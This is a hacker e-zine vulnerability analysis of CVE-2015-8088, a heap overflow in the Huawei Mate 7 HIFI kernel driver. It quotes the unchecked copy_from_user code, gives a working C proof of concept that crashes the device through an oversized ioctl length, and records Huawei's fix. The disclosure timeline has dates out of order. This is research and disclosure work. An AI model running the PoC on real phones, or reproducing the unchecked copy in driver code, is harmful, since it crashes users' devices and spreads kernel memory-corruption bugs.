Copy Link
Add to Bookmark
Report

d5_0x03_DNFWAH_cve-2015-8088-heap-overflow-analysis

eZine's profile picture
Published in 
Do not fuck with a hacker
 · 5 years ago

  


|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #5 File 0x03 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------=[ CVE-2015-8088: Heap Overflow Vulnerability ]=----------=|
|=--------=[ in the HIFI Driver of Huawei Smart Phone ]=-----------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ By Pray3r ]=-------------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------------------------------------------------=|
|=--------------------=[ Update: Jan 20 2016 ]=--------------------=|
|=-----------------------------------------------------------------=|


--[ Content

0x00. Summary

0x01. Description

0x02. Impact

0x03. Affected

0x04. Patch

0x05. Timeline

0x06. Reference


--[ 0x00. Summary

/dev/hifi_misc module of Huawei Mate 7 smart phone has an input
check error, which allows the user-mode application to modify
kernel-mode memory data and maybe make system break down or
application elevate privilege.


--[ 0x01. Description

/dev/hifi_misc is an interface for a user-mode application to
interact with kernel module of hisi chipset. It is very likely that
hifi_misc is related with hifi audio features. Seen from
drivers/hisi/hifidsp/hifi_lpp.c, one could send messages to hifi's
kernel module by invoking ioctl() with HIFI_MISC_IOCTL_WRITE_PARAMS:

< drivers/hisi/hifidsp/hifi_lpp.c >

static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
switch(cmd) {
[...]
case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
ret = hifi_dsp_write_param(arg);
break;
[...]
}
[...]
}

< / >

After ioctl(), hifi_dsp_write_param() is called with the parameter
directly passed from user-space:

< drivers/hisi/hifidsp/hifi_lpp.c >

int hifi_dsp_write_param(unsigned long arg)
{
int ret = OK;
phys_addr_t hifi_param_phy_addr = 0;
void* hifi_param_vir_addr = NULL;
CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
struct misc_io_sync_param para;
[...]
if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para
loge("copy_from_user fail.\n");
ret = ERROR;
goto error1;
}
[...]
hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
if (NULL == hifi_param_vir_addr) {
loge("hifi_param_vir_addr ioremap fail\n");
ret = ERROR;
goto error2;
}
[...]
ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
if ( ret != 0) {
loge("copy data to hifi error! ret = %d", ret);
}
[...]
}

< / >

Parameter arg is a struct pointer points to user-space memory.
After initialization of hifi_dsp_write_param(), user-space memory
pointed by arg is copied to para via copy_from_user(). Without any
verification, all the member variables of para is fully controlled
by user-space application. The struct of para:

struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};

Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr,
para.para_in, para.para_size_in)

1. hifi_param_vir_addr points to a kernel heap block allocated by
ioremap(), regarded as the address of destination memory block.
The size of the this heap block is SIZE_PARAM_PRIV (equals to 200
* 1024) bytes.

2. para.para_in is a pointer controlled by user-space, regarded as
the address of original memory block.

3. para.para_size is an unsigned int controlled by user-space,
regarded as the size of original memory block.

Since there are not any verification of para_size and para_in, if
para.para_size is larger than 200*1024, say 300*1024, a typical heap
overflow is triggered. The source code of our poc:

< poc.c >
/*
*
* HuaWei Mate7 hifi driver Poc
*
* Writen by pray3r<pray3r.z@gmail.com>
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};

int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;

poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;

fd = open("/dev/hifi_misc", O_RDWR);

ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

free(in);
free(out);

return 0;
}

< / >

Execute the crash_poc will break down Huawei Mate 7. Be aware that
the poc should be executed under system or audio privilege, since
/dev/hifi_misc is only writable to audio and system user.


--[ 0x02. Impact

The Kernel will panic if para.para_size being set by a large vaule,
the smart phone will break down because of heap overflow inside
kernel space, the problem is very hard to gain root. Because
get_vm_area_node() called ioremap()[1], the function allocates
a guard PAGE_SIZE page.

Thanks for Dan Rosenberg.[2]


--[ 0x03. Affected

Model : HUAWEI MT7-TL10
Version : MT7-TL10V100R001CHNC00B133
Android : 4.4.2
Kernel : 3.10.30-00015-g049a08f

Other models of Huawei smart phones with hisi chipset may also be
affected.


--[ 0x04. Patch

More information:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm


--[ 0x05. Timeline

Sep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Update CVE number

--[ 0x05. Reference

[1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351
[2]. http://seclists.org/oss-sec/2015/q4/532

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT